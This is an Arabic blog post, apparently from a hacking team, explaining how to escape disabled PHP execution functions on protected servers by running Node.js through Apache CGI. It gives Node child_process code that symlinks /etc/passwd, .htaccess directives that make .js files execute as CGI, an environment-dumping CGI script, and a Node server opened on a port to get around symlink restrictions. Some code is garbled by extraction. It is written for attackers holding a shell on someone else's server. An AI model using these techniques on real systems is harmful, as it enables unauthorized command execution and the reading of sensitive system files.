Bypass execute command line~Priv8/ تخطي تنفيذ الاومر من مكتبه النود





 ان شاءالله تكونون في أحسن حال،


طبعأ اعتذر عن الغيبه،بدون مقدمات راح اشرح الموضوع والطريقه، طبعأ في اغلب السيرفرات المحميه ، يكون البي اتش بي والدوال تنفيذ الاومر معطله من phpfunctions مثال,


وايضا تعطيل البيرل والباش والبايثون والخ سواء كان من اعدادات الاباتشي او التصاريح من الجذر نفسه لليوزرات. طيب كذا اكثر الناس يترك الشل ولايفكر فيه، الان نجي للطريقه طبعا من اكتشاف فريق 0w4y بعد تفكير عميق، في كيفيه تنفيذ الاومر من السيرفر، في البداية فكرنا في تنفيذ الاومر من الجافا ، ولكن بعد المحاولات العديده التي بأت بالفشل بسبب الجافا يمنع تفنيذ سطر الاومر الا من الجذر نفسه~root#، فكرنا في استدعاء او طلب تنفيذ الاومر من مكتبه من مكتبات الجافا ومن ضمنها Js Node مكتبة النود، ومن حسن حظنا السيرفر الي كان معنا مركب مكتبة النود على السيرفر، طيب في البداية راح استعرض معكم في كيفيه معرفه بأن السيرفر مركب عليه مكتبه Node. معرفة الاصدار وايضا اذا كان النود مركب على السيرفر من سطر الاومر

اقتباس:
node -v
، او من خلال الملفات الموقع البي اتش بي اذا كان فيه ربط لملفات جافا بمتداد r3m0t3nu11.js نعرف بأن النود شبه أكيد مفعل في السيرفر،

كود PHP:
 var sys = require('sys')
var 
exec = require('child_process').exec;
function 
puts(errorstdoutstderr) {sys.puts(stdout)} exec("ln -s /etc/passwd r3m0t3nu11.txt"puts); 




OR



طبعا بعد التأكد من وجود مكتبه النود في السيرفر، الان نقوم بكتابة سطر اومر بالجافا لستعراض الامر

الدالة المستخدمه في الجافا-نود لتنفيذ الاومر هي

كود PHP:
child_processes 
طيب الان نجي للتطبيق من سطر الاومر،



والنتيجه من التيرمنل



........


طيب الان ممتاز عرفنا بأن الجافا ومكتبه النود قابله للتنفيذ أومر لينكس التنفيذ، الان الشرح هاذا كله صار من التيرمنل يعني مصرح لنا ننفذ اومر ولكن مشكلتنا في تنفيذ الاومر في السيرفر أيش الحل......
--------------------------------------------------------------------------
الحل يأخون هو الاباتشي الله يخليه بحيث نقوم بقراءه JS NODE through CGI Language.
طيب الان يحتاج فقط شويه معرفه او اساسيات في لغة الجافا ومتغيرات النود راح ناخذ مثال بسيط في كيفيه تشغيل النود من CGI LANGUAGE، من خلال كتابة هاتكسس بتعريف ملف النود للباتشي وقراءته من المتصفح من خلال لغة CGI in apache راح ناخذ مثال بسيط جدا لأثبات بأن النود قابل للقراءه من CGI للاباتشي، في البداية نقوم بكتابة هاتكسس لتعريف الملف للاباتشي من خلال

كود PHP:
Action       "node-script"  "/cgi-bin/node-cgi" AddHandler   "node-script"  ".ns" 

 
 OR

كود PHP:
Options +ExecCGI
AddHandler cgi
-script .js 



ونقوم بكتابة ملف بسيط في النود هاكذا



كود PHP:
#!/usr/local/bin/node
var sys=require("sys"); sys.puts("Content-type: text/html\n"); sys.puts("R3m0t3nu11 1s h3r3~!<br/>\n");
var 
argstr="";
for(var 
i in process.env){
  
argstr+=i+": " process.env[i] + "<br/>\n";
}
sys.puts("args: "argstr +"<br/>\n"); 
ومع مرعاه باعطاء المجلد تصريح المحتوى وايضا الملفات 0755



والنتيجه الاباتشي CGI قراء الكود من مكتبه النود واستعرضه من المتصفح




---------------------------------------------------------------------------------- الان نتجه الى تخطي symlink عن طريق فتح بورت والقراءه منه من خلال مكتبه النود في الجافا سكربت.



كود PHP:
var sys = require("sys"),
    
http = require("http");
http.createServer(function(requestresponse) {
    
response.sendHeader(200, {"Content-Type""text/html"});
    
response.write("R3m0t3nu11~!");
    
response.close();
}).
listen(8084);
 
sys.puts("Server running at http://localhost:8084/"); 


والنتيجه ناجحه

 
هاذا والصلاة السلام على اشرف الخلق والمرسلين محمد صلى الله عليه وسلم، ألقاكم في طريقه وشرح اخر بأذن الله. في أمان الله

تعليقات

المشاركات الشائعة من هذه المدونة

CRLF injection [\r\n Carriage Return]

Study in Nosql-Injection-Mongodb